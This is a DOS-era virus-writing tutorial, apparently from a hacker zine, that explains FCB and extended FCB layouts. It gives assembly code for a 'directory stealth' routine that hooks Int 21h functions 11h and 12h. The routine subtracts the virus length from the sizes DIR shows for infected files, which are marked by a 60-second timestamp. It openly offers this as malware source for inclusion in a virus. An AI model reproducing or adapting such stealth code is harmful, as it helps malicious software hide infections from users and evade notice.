Directory Stealth (FCB)
-----------------------------------------------------------------------------

Nowadays, a virus needs to use some kind of stealth technique in order to be
effective.  Memory stealth is something obviously needed in a virus, but in
this article we'll discuss another stealth method, simple and easy to put
into practice.

It's a problem, these days.  Users are informed about viruses and everyone is
astonished, imagining all these little bugs are getting into their machines. 
When a user sees his files start to grow for no apparent reason, he knows
something strange is happening.  And that strange 'thing' is almost certainly
a virus.

The technique we'll discuss in this article was developed precisely to avoid
just this situation: Directory Stealth.  We use this technique so that when
the user views his directory, he can't see the increase in file size which
results from a virus infection.

When the user types DIR, DOS functions 11h and 12h are called.  What we'll do
is to intercept these calls from our Int 21 handler.

Before going on, we need to talk about FCB (File control Block). This is a
table which DOS uses to work with files: open, close, etc. etc.  There are 2
types of FCBs.  One is NORMAL...  Its format is as follows:

offset   Size      Description
-----------------------------------------------------------------------------
00h       1        Drive (00=actual, 01=A:, 02=B:, 03=C: etc.)
01h       8        File name.  Space filled if less than 8 characters.
09h       3        File extension.
0Ch       2        Actual Block.  Points to the register block.
0Eh       2        Register size.
10h       4        File size in bytes.
14h       2        Date.
16h       2        Time.
18h       4        Reserved (MS doesn't tell us what it's used for)  ;)
1Ch       4        Equal to offset 10h, but that's the default value.
20h       1        Offset from actual register.
21h       4        Relative register.

There's also an EXTENDED FCB which is the same as the NORMAL FCB, except that
there are 7 additional bytes added to the beginning (before offset 0h of the
NORMAL FCB)

Offset  Size       Description
-----------------------------------------------------------------------------
-07h     1         contains the value 0FFh, which indicates its an extended 
                   FCB.
-06h     5         Reserved
-01h     1         Byte Attribute

When we ask for the DIR, Int 21 functions 11h & 12h are executed and the
system searches for the files based on the contents of the FCB.  If the
function ends satisfactorily, the contents of the FCB are copied to the DTA. 
What we are going to do is to edit the data copied to the DTA.

First, we add the code which will intercept the Int 21 11h and 12h functions:

Handler_21:
           ..
           ..
           cmp ah,11h           ; Did the user ask for a directory?
           je D_stealth         ; invoke stealth
           cmp ah,12h           ; Did the user ask for a directory?
           je D_stealth         ; invoke stealth
           ..
           ..

Let's go straight to the stealth code.  First we'll call the original Int 21
so the DTA is filled with the file data.

D_Stealth:
          pushf                          ; we simulate an
          call dword ptr cs:[Old21]      ; int 21h
          or al,al                       ; if AL=0 then all OK.
          jnz ERROR                      ; ag, there's been an error. ;)


What we do next is to obtain the DTA address so we can modify the data.     

          push ax bx es                  ; We store the registers we're using
          mov ah,2fh                     ; The DTA address is returned in
          int 21h                        ; ES:BX 

Now we must determine whether it's an extended or normal FCB, since the
offsets will be different.  So we see if the first byte is 0FFh: if it is,
it's extended.  Otherwise it's normal.  :) If it's extended, we'll add 7
bytes to its address.  These are of no use to us so we'll skip them so as to
get to the first datum the two (extended and normal) have in common.

         cmp byte ptr es:[BX],0ffh      ; Is the first byte FF?
         jne normal                     ; no, then it's a normal FCB
         add bx,7h                      ; If EXTENDED, add 7 bytes

Next, we must see if the file is infected, since if it is, we're not
interested in fixing anything.  For this we assume that we've marked infected
files by setting the seconds to 60, an impossible value.

normal: mov ax,es:[bx+17h]              ; We take the file's time from the
        and ax,1fh                      ; FCB and we check the seconds.
        xor al,1eh                      ; Do the seconds = 60?
                                        ; 1eh = 30 decimal, 30*2 = 60 sec.
                                        ; XOR = CMP, but quicker and better.
        jne no_infectado                ; not 60 = not infected..

The following code is executed ONLY if the file is infected.  We subtract the
size of the virus from the file size in order to obtain the original file
size..

        sub word ptr es:[bx+1dh],VIRLEN   ; Subtract virus size.
        sbb word ptr es:[bx+1fh],0        

Done!  Now we restore the registers we used and return from the int.

no_infectado: pop es bx ax              ; restore the registers
error:        iret                      ; return..

There we are.  It's really very easy and worthy of being included in a virus. 
The code is minimal and its services are truly useful..

Well, we've covered Directory Stealth, using the FCB.  But there is another
type of stealth, using HANDLE, which is the method used by Norton Commander,
PCTools and similar programs to look at files.  This method is much easier to
use than FCB.  In a forthcoming article we'll cover this method, which is
practically the same as FCB.

                                                            -  WM’  -

